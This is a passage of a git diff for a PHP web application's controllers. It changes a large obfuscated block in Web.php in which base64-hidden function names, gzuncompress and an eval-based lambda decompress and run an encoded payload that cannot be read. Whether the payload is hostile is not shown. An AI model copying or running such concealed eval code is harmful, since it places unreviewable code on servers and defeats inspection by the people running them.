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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Web.php b/donjo-app/controllers/Web.php index 83d199d44..60a0ca4dc 100644 --- a/donjo-app/controllers/Web.php +++ b/donjo-app/controllers/Web.php @@ -220,7 +220,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/api/Sign.php b/donjo-app/controllers/external_api/Sign.php similarity index 82% rename from donjo-app/controllers/api/Sign.php rename 